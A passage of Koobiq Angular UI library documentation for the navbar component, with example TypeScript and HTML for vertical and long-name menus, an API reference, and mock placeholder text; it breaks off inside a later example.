                'Эпсилон окрестность привлекает интеграл по бесконечной области. Пустое подмножество, общеизвестно, допускает ряд Тейлора. Наибольшее и наименьшее значения функции недоказуемо. Вектор, не вдаваясь в подробности, осмысленно транслирует постулат. Ортогональный определитель упорядочивает линейно зависимый минимум. Интеграл от функции, обращающейся в бесконечность вдоль линии позитивно уравновешивает график функции.'
            ]
        },
        default: {
            allApps: 'All apps',
            apps: ['User Management', 'Knowledge Hub', 'Secret Notes'],
            appName: 'App name',
            longAppName: 'Super Long Menu Title with Line Wrap and Ellipsis Truncation',
            dashboards: 'Dashboards',
            tasks: 'Tasks',
            projects: 'Projects',
            newTask: 'New task',
            documentation: 'Documentation',
            more: 'More',
            point: (index) => `Point ${index}`,
            notifications: 'Notifications',
            administration: 'Administration',
            help: 'Help',
            profile: 'Profile',
            taskStatuses: { open: 'Open', inProgress: 'In progress', done: 'Done', canceled: 'Canceled' },
            profileMenu: {
                settings: 'Settings',
                users: 'Users',
                downloadApp: 'Download app',
                switchTenant: 'Switch tenant',
                logOut: 'Log out'
            },
            pageText: [
                'An integer, in principle, supports a jump of the function. The polynomial reflects an experimental discontinuity of the function, which is not surprising. The integral of a function with a finite discontinuity wastefully specifies the limit of the function, and so the fool’s dream came true — the statement is fully proved. The Poisson integral develops the Fourier integral. The indefinite integral categorically corresponds to a divergent series. It is not a given that a function of several variables is still in demand.',
                'Besides, the graph of the function amplifies the trigonometric surface integral. True, some experts note that Bernoulli’s inequality determines a real divergent series. Nevertheless, the indefinite integral unwinds the discontinuity of the function.',
                'The epsilon neighborhood attracts the integral over an infinite domain. The empty subset, as is well known, admits a Taylor series. The greatest and least values of the function are unprovable. The vector, without going into detail, meaningfully translates the postulate. The orthogonal determinant orders a linearly dependent minimum. The integral of a function that goes to infinity along a line positively balances the graph of the function.'
            ]
        }
    });
```

#### Vertical menu

The vertical menu is convenient for long pages. When unfolded, it takes more place on a screen. When collapsed, it shows sections as icons. In some cases, it may be a challenge to pick a clear visual representation for a section.

**Example: Navbar vertical** (`navbar-vertical`)

```ts navbar-vertical-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { injectExampleText } from '../localized-data';

@Component({
    selector: 'navbar-vertical-example',
    imports: [
        KbqDropdownModule,
        KbqNavbarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule
    ],
    templateUrl: 'navbar-vertical-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarVerticalExample {
    protected readonly text = injectExampleText();

    readonly popUpPlacements = PopUpPlacements;
    readonly colors = KbqComponentColors;
    /** Position of the selected app in `text().apps`, so the selection survives a locale switch. */
    readonly selectedApp = signal(0);
}
```

```html navbar-vertical-example.html
<kbq-dropdown #verticalNavbarDropdown_1="kbqDropdown" [overlapTriggerX]="false" [overlapTriggerY]="true">
    @for (app of text().apps; track $index) {
        <button kbq-dropdown-item (click)="selectedApp.set($index)">{{ app }}</button>
    }
</kbq-dropdown>

<kbq-dropdown #verticalNavbarDropdown_3="kbqDropdown" [overlapTriggerX]="false" [overlapTriggerY]="true">
    <button kbq-dropdown-item>{{ text().point(1) }}</button>
    <button kbq-dropdown-item>{{ text().point(2) }}</button>
</kbq-dropdown>

<div style="height: 480px" class="layout-row">
    <kbq-vertical-navbar #verticalNavbar>
        <kbq-navbar-container>
            <div
                #verticalNavbarDropdownTrigger_1="kbqDropdownTrigger"
                bento
                kbq-navbar-item
                [class.kbq-active]="verticalNavbarDropdownTrigger_1.opened"
                [kbqDropdownTriggerFor]="verticalNavbarDropdown_1"
            >
                <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().allApps }}</div>
            </div>

            <a href="#" kbq-navbar-brand [collapsedText]="text().apps[selectedApp()]">
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().apps[selectedApp()] }}</div>
            </a>

            <a href="#" kbq-navbar-item class="kbq-active">
                <i kbq-icon="kbq-stop_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().dashboards }}</kbq-navbar-title>
            </a>

            <button kbq-navbar-item>
                <i kbq-icon="kbq-stop_16" color="contrast"></i>
                <span kbq-navbar-title>{{ text().tasks }}</span>
            </button>

            <kbq-navbar-item>
                <button
                    kbq-button
                    [class.kbq-button-icon]="!verticalNavbar.expanded()"
                    [color]="colors.Contrast"
                    [kbqPlacement]="popUpPlacements.Right"
                    [kbqStyle]="'filled'"
                    [attr.aria-label]="text().newTask"
                    [kbqTooltip]="text().newTask"
                    [kbqTooltipDisabled]="verticalNavbar.expanded()"
                >
                    <i kbq-icon="kbq-plus_16" [color]="'empty'"></i>
                    @if (verticalNavbar.expanded()) {
                        <span>{{ text().newTask }}</span>
                    }
                </button>
            </kbq-navbar-item>

            <kbq-navbar-item
                #verticalNavbarDropdownTrigger_3="kbqDropdownTrigger"
                [class.kbq-active]="verticalNavbarDropdownTrigger_3.opened"
                [kbqDropdownTriggerFor]="verticalNavbarDropdown_3"
            >
                <i kbq-icon="kbq-ellipsis-vertical_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().more }}</kbq-navbar-title>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <kbq-navbar-container>
            <kbq-navbar-item>
                <i kbq-icon="kbq-user_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().profile }}</kbq-navbar-title>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <button kbq-navbar-toggle></button>
    </kbq-vertical-navbar>

    <div style="overflow: auto; padding-left: 20px; padding-right: 20px" class="flex kbq-text-normal">
        <div>
            @for (paragraph of text().pageText; track $index) {
                <p>{{ paragraph }}</p>
            }
        </div>
    </div>
</div>
```

#### Unfolded menu that overlays content

You can also make the vertical menu overlay page content.

**Example: Navbar vertical open over** (`navbar-vertical-open-over`)

```ts navbar-vertical-open-over-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { injectExampleText } from '../localized-data';

@Component({
    selector: 'navbar-vertical-open-over-example',
    imports: [
        KbqDropdownModule,
        KbqNavbarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule
    ],
    templateUrl: 'navbar-vertical-open-over-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarVerticalOpenOverExample {
    protected readonly text = injectExampleText();

    popUpPlacements = PopUpPlacements;
}
```

```html navbar-vertical-open-over-example.html
<kbq-dropdown #verticalNavbarDropdown_1="kbqDropdown" [overlapTriggerX]="false" [overlapTriggerY]="true">
    @for (app of text().apps; track $index) {
        <button kbq-dropdown-item>{{ app }}</button>
    }
</kbq-dropdown>

<kbq-dropdown #verticalNavbarDropdown_3="kbqDropdown" [overlapTriggerX]="false" [overlapTriggerY]="true">
    <button kbq-dropdown-item>{{ text().point(1) }}</button>
    <button kbq-dropdown-item>{{ text().point(2) }}</button>
</kbq-dropdown>

<div style="height: 480px" class="layout-row">
    <kbq-vertical-navbar #verticalNavbar [openOver]="true">
        <kbq-navbar-container>
            <div
                #verticalNavbarDropdownTrigger_1="kbqDropdownTrigger"
                bento
                kbq-navbar-item
                [class.kbq-active]="verticalNavbarDropdownTrigger_1.opened"
                [kbqDropdownTriggerFor]="verticalNavbarDropdown_1"
            >
                <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().allApps }}</div>
            </div>

            <a href="#" kbq-navbar-brand>
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().appName }}</div>
            </a>

            <a href="#" kbq-navbar-item class="kbq-active">
                <i kbq-icon="kbq-stop_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().dashboards }}</kbq-navbar-title>
            </a>

            <button kbq-navbar-item>
                <i kbq-icon="kbq-stop_16" color="contrast"></i>
                <span kbq-navbar-title>{{ text().tasks }}</span>
            </button>

            <kbq-navbar-item>
                <button
                    kbq-button
                    [class.kbq-button-icon]="!verticalNavbar.expanded()"
                    [color]="'contrast'"
                    [kbqPlacement]="popUpPlacements.Right"
                    [kbqStyle]="'filled'"
                    [attr.aria-label]="text().newTask"
                    [kbqTooltip]="text().newTask"
                    [kbqTooltipDisabled]="verticalNavbar.expanded()"
                >
                    <i kbq-icon="kbq-plus_16" [color]="'empty'"></i>
                    @if (verticalNavbar.expanded()) {
                        <span>{{ text().newTask }}</span>
                    }
                </button>
            </kbq-navbar-item>

            <kbq-navbar-item
                #verticalNavbarDropdownTrigger_3="kbqDropdownTrigger"
                [class.kbq-active]="verticalNavbarDropdownTrigger_3.opened"
                [kbqDropdownTriggerFor]="verticalNavbarDropdown_3"
            >
                <i kbq-icon="kbq-ellipsis-vertical_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().more }}</kbq-navbar-title>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <kbq-navbar-container>
            <kbq-navbar-item>
                <i kbq-icon="kbq-user_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().profile }}</kbq-navbar-title>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <button kbq-navbar-toggle></button>
    </kbq-vertical-navbar>

    <div style="overflow: auto; padding-left: 20px; padding-right: 20px" class="kbq-text-normal">
        <div>
            @for (paragraph of text().pageText; track $index) {
                <p>{{ paragraph }}</p>
            }
        </div>
    </div>
</div>
```

#### Long application name

When the name does not fit on one line, the header switches to a small two-line title on its own — there is nothing to configure. A name that fits keeps the default style, and one too long even for two lines is truncated and shown in full in a tooltip.

**Example: Navbar vertical app long name** (`navbar-vertical-app-long-name`)

```ts navbar-vertical-app-long-name-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { injectExampleText } from '../localized-data';

@Component({
    selector: 'navbar-vertical-app-long-name-example',
    imports: [
        KbqNavbarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule
    ],
    templateUrl: 'navbar-vertical-app-long-name-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarVerticalAppLongNameExample {
    protected readonly text = injectExampleText();

    readonly popUpPlacements = PopUpPlacements;
    readonly colors = KbqComponentColors;
}
```

```html navbar-vertical-app-long-name-example.html
<div style="height: 480px" class="layout-row">
    <kbq-vertical-navbar #verticalNavbar>
        <kbq-navbar-container>
            <a href="#" kbq-navbar-brand [collapsedText]="text().longAppName">
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().longAppName }}</div>
            </a>

            <a href="#" kbq-navbar-item class="kbq-active">
                <i kbq-icon="kbq-stop_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().dashboards }}</kbq-navbar-title>
            </a>

            <button kbq-navbar-item>
                <i kbq-icon="kbq-stop_16" color="contrast"></i>
                <span kbq-navbar-title>{{ text().tasks }}</span>
            </button>

            <kbq-navbar-item>
                <button
                    kbq-button
                    [class.kbq-button-icon]="!verticalNavbar.expanded()"
                    [color]="colors.Contrast"
                    [kbqPlacement]="popUpPlacements.Right"
                    [kbqStyle]="'filled'"
                    [attr.aria-label]="text().newTask"
                    [kbqTooltip]="text().newTask"
                    [kbqTooltipDisabled]="verticalNavbar.expanded()"
                >
                    <i kbq-icon="kbq-plus_16" [color]="'empty'"></i>
                    @if (verticalNavbar.expanded()) {
                        <span>{{ text().newTask }}</span>
                    }
                </button>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <kbq-navbar-container>
            <kbq-navbar-item>
                <i kbq-icon="kbq-user_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().profile }}</kbq-navbar-title>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <button kbq-navbar-toggle></button>
    </kbq-vertical-navbar>

    <div style="overflow: auto; padding-left: 20px; padding-right: 20px" class="flex kbq-text-normal"></div>
</div>
```

The same is available in the horizontal menu.

**Example: Navbar app long name** (`navbar-app-long-name`)

```ts navbar-app-long-name-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { injectExampleText } from '../localized-data';

@Component({
    selector: 'navbar-app-long-name-example',
    imports: [
        KbqDividerModule,
        KbqNavbarModule,
        KbqButtonModule,
        KbqBadgeModule,
        KbqIconModule
    ],
    templateUrl: 'navbar-app-long-name-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarAppLongNameExample {
    protected readonly text = injectExampleText();

    popUpPlacements = PopUpPlacements;
}
```

```html navbar-app-long-name-example.html
<kbq-navbar>
    <kbq-navbar-container>
        <a href="#" kbq-navbar-brand>
            <kbq-navbar-logo>
                <!-- prettier-ignore -->
                <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
            </kbq-navbar-logo>
            <kbq-navbar-title>{{ text().longAppName }}</kbq-navbar-title>
        </a>

        <button
            kbq-navbar-item
            class="kbq-active"
            [kbqPlacement]="popUpPlacements.Bottom"
            [tooltipText]="text().dashboards"
        >
            <i kbq-icon="kbq-dashboard_16" color="contrast"></i>
        </button>

        <kbq-navbar-item>
            <kbq-navbar-title>{{ text().projects }}</kbq-navbar-title>
        </kbq-navbar-item>

        <kbq-navbar-item>
            <button kbq-button [color]="'contrast'">
                <span>{{ text().newTask }}</span>
            </button>
        </kbq-navbar-item>
    </kbq-navbar-container>

    <kbq-navbar-container>
        <kbq-navbar-item [kbqPlacement]="popUpPlacements.Bottom" [tooltipText]="text().notifications">
            <i kbq-icon="kbq-bell_16" color="contrast"></i>
            <kbq-badge [badgeColor]="'error'" [compact]="true">5</kbq-badge>
        </kbq-navbar-item>

        <kbq-navbar-item [kbqPlacement]="popUpPlacements.Bottom" [tooltipText]="text().administration">
            <i kbq-icon="kbq-gear_16" color="contrast"></i>
        </kbq-navbar-item>

        <kbq-navbar-divider />

        <kbq-navbar-item [kbqPlacement]="popUpPlacements.Bottom" [tooltipText]="text().help">
            <i kbq-icon="kbq-magnifying-glass_16" color="contrast"></i>
        </kbq-navbar-item>
    </kbq-navbar-container>
</kbq-navbar>
```

#### Layering

The horizontal menu sits at `z-index: 990` (`--kbq-navbar-z-index`), so panels opened from the page content paint above it. To have them slide under it, see [Panels under a sticky header](https://koobiq.io/en/components/core.md#panels-under-a-sticky-header).

### API

#### Components

##### KbqNavbar (component)

```ts
@Component({ selector: 'kbq-navbar' })
class KbqNavbar extends KbqFocusableComponent {
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
}
```

- `[aria-label]`: `string | null` — Accessible name of the navigation landmark. Set it whenever a page renders more than one navbar, so
  assistive technology can tell them apart.

##### KbqNavbarBrand (component)

```ts
@Component({
    selector: 'kbq-navbar-brand, [kbq-navbar-brand]',
    exportAs: 'kbqNavbarBrand'
})
class KbqNavbarBrand {
    readonly collapsedText = input<string>('');
    readonly tooltipDisabled = input<boolean | undefined>(undefined, {
        alias: 'kbqTooltipDisabled'
    });
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    get isLink(): boolean;
}
```

- `[collapsedText]`: `string` — text that will be displayed in the tooltip. By default, the text is taken from kbq-navbar-title.
- `[kbqTooltipDisabled]`: `boolean | undefined` — Explicitly enables or disables the brand's tooltip.

  Left unset, the tooltip is enabled exactly when the title cannot be read from the brand itself — the
  navbar is collapsed, the title is clipped, or there is no title at all.
- `[aria-label]`: `string | null` — Accessible name of the brand. Needed when the brand renders nothing but a logo.
- `isLink`: `boolean` — Whether the brand is rendered as a native link.

##### KbqNavbarItem (component)

```ts
@Component({
    selector: 'kbq-navbar-item, [kbq-navbar-item]',
    exportAs: 'kbqNavbarItem'
})
class KbqNavbarItem {
    readonly collapsedText = input<string>('');
    readonly collapsable = input<boolean>(true);
    readonly tooltipDisabled = input<boolean | undefined>(undefined, {
        alias: 'kbqTooltipDisabled'
    });
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    set collapsed(value: boolean);
    readonly isCollapsed: Signal<boolean>;
    get titleText(): string | null;
}
```

- `[collapsedText]`: `string` — Text shown in the tooltip of a collapsed item. Defaults to the text of the projected `kbq-navbar-title`.
- `[collapsable]`: `boolean` — Whether the item may be collapsed when the horizontal navbar runs out of room.
- `[kbqTooltipDisabled]`: `boolean | undefined` — Explicitly enables or disables the item's tooltip.

  Left unset, the tooltip is enabled exactly when the title cannot be read from the item itself — the item
  is collapsed, its title is clipped, or it has no title at all.
- `[aria-label]`: `string | null` — Accessible name of the item. Needed for an icon-only item, which has no visible label of its own; an
  item that renders a title is named by it.
- `collapsed`: `boolean` — Collapses the item regardless of what the ambient navbar decided.
- `isCollapsed`: `Signal<boolean>` — Whether the item is rendered in its collapsed (icon-only) form.
- `titleText`: `string | null` — Text used for the tooltip and for the accessible name of a collapsed item.

##### KbqNavbarToggle (component)

```ts
@Component({ selector: 'kbq-navbar-toggle, [kbq-navbar-toggle]' })
class KbqNavbarToggle {
    toggle(): void;
}
```

- `toggle()`: `void` — toggles the state of the navbar

##### KbqVerticalNavbar (component)

```ts
@Component({ selector: 'kbq-vertical-navbar', exportAs: 'KbqVerticalNavbar' })
class KbqVerticalNavbar extends KbqFocusableComponent {
    readonly openOver = input<boolean>(false);
    readonly expanded = model<boolean>(false);
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    readonly localeConfiguration: Signal<KbqNavbarLocaleConfiguration>;
    toggle(): void;
}
```

- `[openOver]`: `boolean` — Whether the expanded navbar overlays the page content instead of taking room from it.
- `[(expanded)]`: `boolean` — Whether the navbar is expanded.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `[aria-label]`: `string | null` — Accessible name of the navigation landmark. Set it whenever a page renders more than one navbar, so
  assistive technology can tell them apart.
- `localeConfiguration`: `Signal<KbqNavbarLocaleConfiguration>` — Localized strings of the navbar.

  A signal, so that a locale change reaches the `OnPush` descendants that render these strings — a plain
  field would leave them showing the previous locale until something else marked them dirty. It also keeps
  the value observable from outside: `KbqNavbarToggle` reads it in an `effect` to refresh its tooltip,
  which a `markForCheck()` here could never have reached in that separate `OnPush` view.
- `toggle()`: `void` — Expands a collapsed navbar and collapses an expanded one.

#### Directives

##### KbqFocusableComponent (directive)

```ts
@Directive()
class KbqFocusableComponent {
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
}
```

- `[aria-label]`: `string | null` — Accessible name of the navigation landmark. Set it whenever a page renders more than one navbar, so
  assistive technology can tell them apart.

##### KbqNavbarBento (directive)

```ts
@Directive({ selector: 'kbq-navbar-item[bento], [kbq-navbar-item][bento]' })
class KbqNavbarBento {}
```

##### KbqNavbarContainer (directive)

```ts
@Directive({ selector: 'kbq-navbar-container' })
class KbqNavbarContainer {}
```

##### KbqNavbarDivider (directive)

```ts
@Directive({ selector: 'kbq-navbar-divider' })
class KbqNavbarDivider {}
```

##### KbqNavbarFocusableItem (directive)

```ts
@Directive({
    selector: 'kbq-navbar-item, [kbq-navbar-item], kbq-navbar-brand, [kbq-navbar-brand], kbq-navbar-toggle'
})
class KbqNavbarFocusableItem implements IFocusableOption {
    disabled = input<boolean | undefined>();
    get nestedElement(): KbqNavbarNestedElement | undefined;
    set hasFocus(value: boolean);
}
```

- `[disabled]`: `boolean | undefined` — Whether the item is disabled. Also `true` for a decorative element, which the key manager skips as well.
- `nestedElement`: `KbqNavbarNestedElement | undefined` — Interactive element projected into the item, if any.

##### KbqNavbarItemContent (directive)

Marks arbitrary content of a navbar item that takes the spot of the item icon.

The navbar reserves a 40×40px square for the content and leaves the positioning inside the square to the
content itself: it can fill the whole square or render smaller with its own paddings. The square size is
controlled by the `--kbq-navbar-item-size-custom-content-width` and `--kbq-navbar-item-size-custom-content-height`
tokens.

```ts
@Directive({ selector: '[kbqNavbarItemContent]' })
class KbqNavbarItemContent {}
```

##### KbqNavbarItemSuffix (directive)

Marks content to be projected after the title of a navbar item.

```ts
@Directive({ selector: '[kbqNavbarItemSuffix]' })
class KbqNavbarItemSuffix {}
```

##### KbqNavbarLogo (directive)

```ts
@Directive({ selector: 'kbq-navbar-logo, [kbq-navbar-logo]' })
class KbqNavbarLogo {}
```

##### KbqNavbarRectangleElement (directive)

```ts
@Directive({
    selector: 'kbq-navbar-item, [kbq-navbar-item], kbq-navbar-divider, kbq-navbar-brand, [kbq-navbar-brand]'
})
class KbqNavbarRectangleElement {
    orientation: KbqNavbarOrientation;
    set collapsed(value: boolean);
    getOuterElementWidth(): number;
}
```

- `orientation`: `KbqNavbarOrientation` — Orientation of the navbar this element belongs to. Written by the ambient `KbqNavbar` /
  `KbqVerticalNavbar`; the element itself only reads it.
- `getOuterElementWidth()`: `number` — Outer width of the element: its border box plus horizontal margins.

##### KbqNavbarTitle (directive)

```ts
@Directive({ selector: 'kbq-navbar-title, [kbq-navbar-title]' })
class KbqNavbarTitle {
    get text(): string;
    get isOverflown(): boolean;
    get isClamped(): boolean;
    getOuterElementWidth(): number;
}
```

- `text`: `string` — Text content of the title element.
- `isOverflown`: `boolean` — Whether the text is clipped horizontally (e.g. by `text-overflow: ellipsis`).
- `isClamped`: `boolean` — Whether the text is clipped vertically (e.g. by `-webkit-line-clamp`).

  Kept separate from `isOverflown` on purpose: wrapped text never exceeds its width, so only this
  check catches a clamped title. `isOverflown` is also read by `KbqNavbarItem`, whose titles are
  always `nowrap` — folding the two together would let sub-pixel line-height rounding enable
  tooltips on every navbar item.
- `getOuterElementWidth()`: `number` — Outer width of the title: its border box plus horizontal margins.

#### Types

##### KbqNavbarItemTrigger (interface)

A custom interactive component projected into a navbar item in place of a button or a form field.

Provide the component's own class as `KBQ_NAVBAR_ITEM_TRIGGER`, and the item hands keyboard focus and
activation to it: it gets no synthetic click, stays the single tab stop of the navbar, and keeps working
with arrow-key navigation. The component owns its overlay — a dropdown, a popover, or anything else — and
must not be reachable by Tab on its own (`tabindex` stays with the navbar, which moves focus between items
with the arrow keys).

The item paints its hover, pressed, selected and keyboard-focus states around the component, so the
component styles only its content and must not add a focus outline of its own.

```ts
interface KbqNavbarItemTrigger {
    readonly hasFocus: boolean;
    focus(): void;
    focusViaKeyboard?(): void;
}
```

- `hasFocus`: `boolean` — Whether the component currently holds focus.
- `focus()`: `void` — Moves focus into the component.
- `focusViaKeyboard?()`: `void` — Moves focus into the component as if it was reached with the keyboard — the focused element shows its
  keyboard focus state.

##### KbqNavbarNestedElement (type)

Interactive content a navbar item recognizes as owning the interaction: a projected button or form field,
or a custom component provided as `KBQ_NAVBAR_ITEM_TRIGGER`.

```ts
type KbqNavbarNestedElement = KbqButton | KbqFormField | KbqNavbarItemTrigger;
```

##### KbqNavbarOrientation (type)

Orientation of the navbar an element belongs to.

```ts
type KbqNavbarOrientation = 'horizontal' | 'vertical';
```

#### Constants

##### KBQ_NAVBAR_ITEM_TRIGGER (const)

Makes a custom component projected into a navbar item the owner of the item's interaction.

```ts
const KBQ_NAVBAR_ITEM_TRIGGER: InjectionToken<KbqNavbarItemTrigger>;
```

##### KBQ_VERTICAL_NAVBAR_CONFIGURATION (const)

Deprecated: Use `KBQ_NAVBAR_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_VERTICAL_NAVBAR_CONFIGURATION: InjectionToken<KbqNavbarLocaleConfiguration>;
```

##### KBQ_VERTICAL_NAVBAR_DEFAULT_CONFIGURATION (const)

Deprecated: Use `KBQ_NAVBAR_DEFAULT_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_VERTICAL_NAVBAR_DEFAULT_CONFIGURATION: KbqNavbarLocaleConfiguration;
```

##### kbqNavbarLocaleConfigurationProvider (const)

Utility provider for `KBQ_NAVBAR_LOCALE_CONFIGURATION`. Only the strings you pass are overridden; the
rest keep following the active locale.

```ts
const kbqNavbarLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqNavbarLocaleConfiguration>
) => Provider;
```

### Examples

#### Adding items from a template

You can declare `kbq-navbar-item` elements inside an `<ng-template>` and insert them with `*ngTemplateOutlet` — for example, to render the items from a data array. Declare the template inside `<kbq-navbar>` so the navbar keeps managing keyboard navigation, layout, and responsive collapsing of the items.

**Example: Navbar items from a template** (`navbar-template-outlet`)

```ts navbar-template-outlet-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component, computed, signal } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { injectExampleText } from '../localized-data';

type NavbarLink = {
    icon: string;
    label: string;
    active?: boolean;
};

@Component({
    selector: 'navbar-template-outlet-example',
    imports: [
        KbqDropdownModule,
        KbqNavbarModule,
